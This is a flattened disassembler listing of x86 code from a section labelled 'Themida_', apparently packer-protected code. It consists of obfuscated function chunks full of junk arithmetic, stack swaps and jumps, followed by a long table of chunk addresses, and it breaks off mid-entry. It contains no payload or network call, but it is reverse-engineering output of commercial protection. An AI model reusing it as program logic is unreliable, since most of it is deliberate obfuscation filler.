loc_584EAD: ; CODE XREF: sub_585452+163Cj mov ah, 5Bh add ah, dl pop edx push ecx mov cl, 0B3h jmp loc_584E0F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_584EBA: ; CODE XREF: sub_589967-17D8j mov ebx, 5B7F5411h or ebx, 19040BFEh push esi mov esi, 27047B16h and ebx, esi jmp loc_587360 ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- loc_584ED2: ; CODE XREF: Themida_:0058FF15j mov [esp], eax jmp loc_5856F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584EDA: ; CODE XREF: sub_585452+8FE3j pop edx add esi, ecx add esi, 46A118C9h mov ecx, [esp-32h+arg_2C+2] add esp, 4 add esi, 4 push esi push [esp-32h+arg_32] mov esi, [esp-2Eh+arg_28+2] jmp loc_58E6DB ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584EF9: ; CODE XREF: Themida_:005853AEj push edi jmp loc_586A49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584EFF: ; CODE XREF: sub_585452-9D6j sub cl, 0E7h sub dh, cl pop ecx add al, 0EEh jmp loc_58B4CF ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_584F0C: ; CODE XREF: sub_58EFBD-4705j pop eax jmp loc_58BD3B ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58905F loc_584F12: ; CODE XREF: sub_58905F+B2Bj and esi, 3837C06h push 759Bh mov [esp+10h+var_10], ebp mov ebp, 1ADE70F1h add ebp, 3A7F6770h jmp loc_58F918 ; END OF FUNCTION CHUNK FOR sub_58905F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589C10 loc_584F30: ; CODE XREF: sub_589C10-5A71j xor [esp-4+arg_0], edx jmp loc_5890BC ; END OF FUNCTION CHUNK FOR sub_589C10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E931 loc_584F38: ; CODE XREF: sub_58E931-5975j not ebp xchg ebp, edi jmp loc_58589E ; END OF FUNCTION CHUNK FOR sub_58E931 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584F41: ; CODE XREF: sub_585452+96EAj push small word ptr [eax] jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_584F49: ; CODE XREF: sub_58EFBD-6702j mov ecx, eax pop eax inc ecx and ecx, 5C4D150Dh jmp loc_58A758 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_584F58: ; CODE XREF: Themida_:0058A7B2j pop eax jmp loc_58FC24 ; --------------------------------------------------------------------------- loc_584F5E: ; CODE XREF: Themida_:0058B603j add edx, esi jmp loc_585EF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584F65: ; CODE XREF: sub_585452+3E99j push [esp-0Eh+arg_E] jmp loc_58AC7B ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- dw 8B66h dd 6851240Ch, 4A1Ah, 0FFF69CE9h, 24248BFFh, 0FFEC9BE9h db 0FFh ; --------------------------------------------------------------------------- loc_584F85: ; CODE XREF: Themida_:00586A85j pop edx jmp loc_58BBAB ; --------------------------------------------------------------------------- loc_584F8B: ; CODE XREF: Themida_:00587AB7j sub cl, dl pop edx sub al, 8Eh add al, cl add al, 8Eh pop ecx sub al, bl sub esp, 4 mov [esp], ebx mov bh, 71h jmp loc_585BCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584FA4: ; CODE XREF: sub_585452+9F89j push esp pop edi jmp loc_586B83 ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_584FAB proc near ; CODE XREF: sub_585452+474Cj push ebx jmp loc_5855D6 sub_584FAB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584FB1: ; CODE XREF: sub_585452+7EDCj xor eax, ecx jmp loc_583FC4 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584FB8: ; CODE XREF: Themida_:00587778j sub ebx, edi add ebx, 78B9543Dh push eax mov eax, 448D4493h jmp loc_588C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584FCB: ; CODE XREF: sub_585452+43F8j push edx mov edx, 53172A1h jmp loc_585234 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584FD6: ; CODE XREF: Themida_:0058C35Bj sub bl, ah pop ax jmp loc_58F286 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DA2E loc_584FDF: ; CODE XREF: sub_58DA2E-4070j mov dl, bh jmp loc_58FBAD ; END OF FUNCTION CHUNK FOR sub_58DA2E ; --------------------------------------------------------------------------- loc_584FE6: ; CODE XREF: Themida_:00587188j sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop ebx push eax mov eax, 4 add ebx, eax pop eax jmp loc_58F99D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_585006: ; CODE XREF: sub_585452+75ABj xor [esp-6+arg_0+2], eax xor eax, [esp-6+arg_0+2] mov esp, [esp-6+arg_0+2] push ebx push ecx push eax mov ah, dl jmp sub_58EF8B ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_585019 proc near ; CODE XREF: sub_58BCA7-7A4Fj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005849B0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00586281 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058AD39 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058E782 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058F7F3 SIZE 0000000C BYTES sub esp, 4 mov [esp+4+var_4], esp add [esp+4+var_4], 4 pop edx push ebp jmp loc_58F7F3 sub_585019 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58502A: ; CODE XREF: sub_585452+768Ej add ecx, edx pop edx xor ecx, [esp+2+var_4+2] xor [esp+2+var_4+2], ecx xor ecx, [esp+2+var_4+2] pop esp loc_585037: ; CODE XREF: sub_585452+3CCj push 929h jmp loc_58621E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58405E loc_585041: ; CODE XREF: sub_58405E+8583j pop eax jmp loc_58F08B ; END OF FUNCTION CHUNK FOR sub_58405E ; --------------------------------------------------------------------------- loc_585047: ; CODE XREF: Themida_:0058884Fj mov [esp], eax push esp mov eax, [esp] push edi jmp loc_58F6C8 ; --------------------------------------------------------------------------- loc_585054: ; CODE XREF: Themida_:00583DDEj sub ebp, 1BFE6545h pop ebx add ebp, ecx jmp loc_58D685 ; --------------------------------------------------------------------------- loc_585062: ; CODE XREF: Themida_:0058A920j sub al, 14h jmp loc_58F9F3 ; --------------------------------------------------------------------------- loc_585069: ; CODE XREF: Themida_:0058802Fj xchg ebx, [esp] pop esp mov [esp], dx mov dl, 98h jmp loc_58BD7E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A5A3 loc_585078: ; CODE XREF: sub_58A5A3+3316j mov [esp+4+var_4], edx push 7FCh mov [esp+8+var_8], esp sub esp, 4 mov [esp+0Ch+var_C], ebp mov ebp, 4 sub [esp+0Ch+var_8], 2D10450Bh add [esp+0Ch+var_8], ebp add [esp+0Ch+var_8], 2D10450Bh pop ebp push [esp+8+var_8] pop edx add esp, 4 jmp loc_5871E9 ; END OF FUNCTION CHUNK FOR sub_58A5A3 ; --------------------------------------------------------------------------- loc_5850AF: ; CODE XREF: Themida_:00587D68j mov [esp], esi mov esi, 21F56E82h sub edi, esi pop esi not edi inc edi sub edi, 0FFFFFFFFh dec edi add edi, 43A6FD8Ch jmp loc_58FE53 ; --------------------------------------------------------------------------- loc_5850CF: ; CODE XREF: Themida_:0058F5A2j sub esp, 4 mov [esp], eax jmp loc_58FBC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5850DD: ; CODE XREF: sub_585452+79Dj add edx, 262F24D9h mov ebx, edx jmp loc_58AB58 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58AB18 loc_5850EA: ; CODE XREF: sub_58AB18-13D8j sub eax, ebp pop ebp xor eax, [esp-4+arg_0] jmp loc_58DA53 ; END OF FUNCTION CHUNK FOR sub_58AB18 ; --------------------------------------------------------------------------- mov ax, [esp] push 4D42h mov [esp], ebp push esp jmp loc_58926E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E931 loc_585107: ; CODE XREF: sub_58E931-AC52j mov edx, 6D374C8h jmp loc_58CC2E ; END OF FUNCTION CHUNK FOR sub_58E931 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_585111: ; CODE XREF: sub_58FA66+24j push dword ptr [esp+0] jmp loc_58A662 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- loc_585119: ; CODE XREF: Themida_:0058FEE8j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_584A5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_585130: ; CODE XREF: sub_585452+2DC6j mov dx, word ptr [esp+2+var_4+2] jmp loc_586F74 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_585139: ; CODE XREF: Themida_:00589424j add esp, 4 pop dword ptr [esp] pop esp push dword ptr [esp] mov edx, [esp] add esp, 4 push ebx push edx push esp pop edx add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop ebx add ebx, 4 push ecx mov ecx, 73D02319h or ecx, 584E6DA0h jmp loc_583DA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58517F: ; CODE XREF: sub_585452+24F5j dec al and al, 0CDh sub al, 31h mov dh, al mov eax, [esp+2+var_4+2] push edi jmp loc_58BEC9 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_585190: ; CODE XREF: Themida_:0058BDEEj pop edx push 49AFh jmp loc_586390 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58519B: ; CODE XREF: sub_585452+17Fj mov word ptr [esp+6+var_8+2], cx movzx cx, al jmp loc_58B59D ; --------------------------------------------------------------------------- loc_5851A8: ; CODE XREF: sub_585452+946j push [esp+6+var_8+2] pop ecx jmp loc_58E2DC ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5851B1: ; CODE XREF: Themida_:0058AF86j add [esp+4], ebx sub dword ptr [esp+4], 6A9132BCh pop ebx jmp loc_5848B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DEA3 loc_5851C3: ; CODE XREF: sub_58DEA3-7013j push ax push ebx mov bh, 5Fh or bh, 0D7h neg bh neg bh neg bh sub bh, 0F2h mov ah, 0A5h add ah, bh mov ebx, [esp+0] jmp loc_586B01 ; END OF FUNCTION CHUNK FOR sub_58DEA3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58960C loc_5851E0: ; CODE XREF: sub_58960C+2B9Dj mov ebp, [esp+4+var_4] jmp loc_588854 ; END OF FUNCTION CHUNK FOR sub_58960C ; --------------------------------------------------------------------------- loc_5851E8: ; CODE XREF: Themida_:0058952Aj push ecx mov cl, 2Bh shr cl, 3 push ebx mov bh, 0FFh sub cl, bh pop ebx jmp loc_58F3FE ; --------------------------------------------------------------------------- loc_5851F9: ; CODE XREF: Themida_:0058E5C5j add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_586B55 ; --------------------------------------------------------------------------- loc_585210: ; CODE XREF: Themida_:00588E5Ej and ebp, 5DF50325h push edx mov edx, 12F718AAh shl edx, 8 jmp loc_585E07 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp], cl pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_585234: ; CODE XREF: sub_585452-481j dec edx jmp loc_588A83 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_586A34 loc_58523A: ; CODE XREF: sub_586A34+10j pop ebx add eax, 75E0752h jmp loc_58C706 ; END OF FUNCTION CHUNK FOR sub_586A34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_585245: ; CODE XREF: sub_585452+A254j add esp, 4 add edi, 4 sub edi, 2 xchg edi, [esp-0Ah+arg_4+2] mov esp, [esp-0Ah+arg_4+2] mov word ptr [esp-0Ah+arg_4+2], dx push ax pushf jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_585263: ; CODE XREF: sub_58FA66-25C1j mov esi, [esp+4+var_4] add esp, 4 sub ecx, 4 xor ecx, [esp+0] xor [esp+0], ecx xor ecx, [esp+0] mov esp, [esp+0] mov [esp+0], ecx push eax jmp loc_58F674 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- loc_585284: ; CODE XREF: Themida_:0058BD36j add ebx, ecx pop ecx push 43B0h mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] push 5951h mov [esp], ebp jmp loc_585AB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5852A3: ; CODE XREF: sub_585452+3EE4j push eax jmp loc_5855B6 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5852A9: ; CODE XREF: Themida_:00586D0Fj mov ecx, 4 jmp loc_58AB73 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5852B3: ; CODE XREF: sub_585452+25D7j push ecx jmp loc_5874D0 ; --------------------------------------------------------------------------- loc_5852B9: ; CODE XREF: sub_585452+6BE5j dec eax jmp loc_58AC8A ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5852BF: ; CODE XREF: Themida_:0058C4CCj push ebx jmp loc_589547 ; --------------------------------------------------------------------------- loc_5852C5: ; CODE XREF: Themida_:0058CB51j sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], ecx push ebp mov ebp, 37A162A5h add ebp, 38D706E1h inc ebp not ebp jmp loc_586334 ; --------------------------------------------------------------------------- loc_5852F1: ; CODE XREF: Themida_:0058E70Fj neg cx shl cx, 4 inc cx inc cx push si mov si, 56E8h xor cx, si pop si add cx, 4D77h jmp loc_58F686 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_585311: ; CODE XREF: sub_585452+3BA5j pop eax sub ebx, 7C1A56B8h push ecx mov ecx, 0 jmp loc_58C1D5 ; --------------------------------------------------------------------------- loc_585323: ; CODE XREF: sub_585452+5F4Dj pop ebx xor ch, 7 sub al, ch pop ecx sub al, bl push ebx mov bl, 8Eh neg bl shl bl, 5 add bl, 0B1h or bl, 5Ch xor bl, 45h add al, bl pop ebx push ecx mov ch, 7Ch push small 7AFCh mov word ptr [esp+2+var_4+2], dx jmp loc_5892DB ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_585350 proc near ; CODE XREF: sub_585452+5342j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005864A6 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0058D0E6 SIZE 00000027 BYTES sub esp, 4 mov [esp+4+var_4], ebx push eax sub esp, 4 jmp loc_58D0E6 sub_585350 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58535F: ; CODE XREF: sub_585452+4752j mov eax, 288A1660h jmp loc_5872F9 ; --------------------------------------------------------------------------- loc_585369: ; CODE XREF: sub_585452+2670j mov ebx, ecx pop ecx sub edx, ebx jmp loc_58F5E1 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_585373: ; CODE XREF: sub_58FA66-4FC3j xor [esp+4+var_4], ecx xor ecx, [esp+4+var_4] xor [esp+4+var_4], ecx jmp loc_586E95 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- loc_585381: ; CODE XREF: Themida_:005867F0j pop ebx jmp loc_587F90 ; --------------------------------------------------------------------------- loc_585387: ; CODE XREF: Themida_:005843A7j add ebp, 4 push edi mov edi, 2 add ebp, edi pop edi xor ebp, [esp] xor [esp], ebp jmp loc_58D8BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5853A1: ; CODE XREF: sub_585452+99DBj sub ebx, 5DC60643h jmp loc_58D019 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5853AC: ; CODE XREF: Themida_:00586AFCj mov ebx, esp jmp loc_584EF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587E93 loc_5853B3: ; CODE XREF: sub_587E93+3871j shl bl, 4 xor bl, 1Eh xor cl, bl pop ebx add bl, cl pop ecx jmp near ptr unk_583F35 ; END OF FUNCTION CHUNK FOR sub_587E93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5853C4: ; CODE XREF: sub_585452+5269j mov esi, edx pop edx sub esp, 4 jmp loc_58E4D3 ; --------------------------------------------------------------------------- loc_5853CF: ; CODE XREF: sub_585452+669Aj mov ebx, [esp+0] push esi jmp loc_58B86F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_5853D8: ; CODE XREF: sub_58C230-3A19j pop ecx push eax mov eax, esp add eax, 4 jmp loc_583F60 ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- loc_5853E6: ; CODE XREF: Themida_:0058BA08j sub esp, 4 mov [esp], edi mov edi, 38583BBFh not edi add edi, 49D077D8h sub eax, edi pop edi push edx push esi mov esi, 5C6C52C8h dec esi add esi, 0C1EE0C7Ah mov edx, esi jmp loc_58C384 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58622C loc_585414: ; CODE XREF: sub_58622C+82F6j xor edi, edx pop edx sub esp, 4 mov [esp+0], ebp mov ebp, 6505698Dh and ebp, 7EFF33B6h dec ebp jmp loc_58CA81 ; END OF FUNCTION CHUNK FOR sub_58622C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_585431: ; CODE XREF: sub_585452+317j add edx, 4 xchg edx, [esp+2+var_4+2] pop esp push ebx mov ebx, esp jmp loc_58B798 ; --------------------------------------------------------------------------- loc_585443: ; CODE XREF: sub_585452+104Fj not edx push ebx mov ebx, 6B555140h neg ebx jmp loc_58A8BD ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_585452 proc near ; CODE XREF: sub_5B5756-284B4j var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_E = dword ptr 12h arg_12 = dword ptr 16h arg_16 = dword ptr 1Ah arg_1A = dword ptr 1Eh arg_1E = dword ptr 22h arg_24 = dword ptr 28h arg_28 = dword ptr 2Ch arg_2C = dword ptr 30h arg_32 = dword ptr 36h arg_36 = dword ptr 3Ah ; FUNCTION CHUNK AT 00583C9F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00583CB7 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00583CF6 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00583D55 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00583D89 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00583DE3 SIZE 0000005A BYTES ; FUNCTION CHUNK AT 00583EB3 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00583FC4 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00583FE2 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00584024 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00584064 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005840CB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00584103 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0058412D SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00584164 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058417E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005841A4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058424C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058425D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058429D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005842C3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00584342 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 00584389 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005843B7 SIZE 00000051 BYTES ; FUNCTION CHUNK AT 00584427 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00584441 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0058449E SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00584542 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0058457E SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00584641 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0058467B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005846C0 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058475D SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005847E3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00584802 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00584812 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058483C SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005848EE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058491A SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00584950 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00584961 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005849CE SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00584A35 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00584A48 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00584A63 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00584AAF SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00584B29 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00584B72 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00584B86 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00584BA2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00584BCA SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00584C62 SIZE 00000068 BYTES ; FUNCTION CHUNK AT 00584CEA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00584CFB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00584D27 SIZE 00000041 BYTES ; FUNCTION CHUNK AT 00584DB3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00584E03 SIZE 00000068 BYTES ; FUNCTION CHUNK AT 00584E82 SIZE 00000038 BYTES ; FUNCTION CHUNK AT 00584EDA SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00584EFF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00584F41 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00584F65 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00584FA4 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00584FB1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00584FCB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00585006 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058502A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005850DD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00585130 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058517F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058519B SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00585234 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00585245 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005852A3 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005852B3 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00585311 SIZE 0000003F BYTES ; FUNCTION CHUNK AT 0058535F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005853A1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005853C4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00585431 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00585F80 SIZE 00000041 BYTES ; FUNCTION CHUNK AT 00585FF8 SIZE 0000005E BYTES ; FUNCTION CHUNK AT 00586061 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005860B4 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 005860F0 SIZE 00000057 BYTES ; FUNCTION CHUNK AT 00586167 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00586180 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058621E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058623F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005862B6 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005862E1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058630E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00586369 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058637F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058639C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005863BF SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005863E3 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0058641D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00586457 SIZE 0000004F BYTES ; FUNCTION CHUNK AT 005864E6 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0058650F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005865BD SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005865E7 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058660B SIZE 0000002F BYTES ; FUNCTION CHUNK AT 00586668 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005866AA SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005866D4 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005866F3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058682C SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005868C9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058691E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005869B2 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00586A54 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00586A8A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00586B75 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00586B9D SIZE 0000002E BYTES ; FUNCTION CHUNK AT 00586C13 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00586C47 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00586C6F SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00586CD7 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00586D48 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00586DCC SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00586DFA SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00586EB7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00586EF1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00586F16 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00586F38 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00586F74 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00586F8C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00586FA4 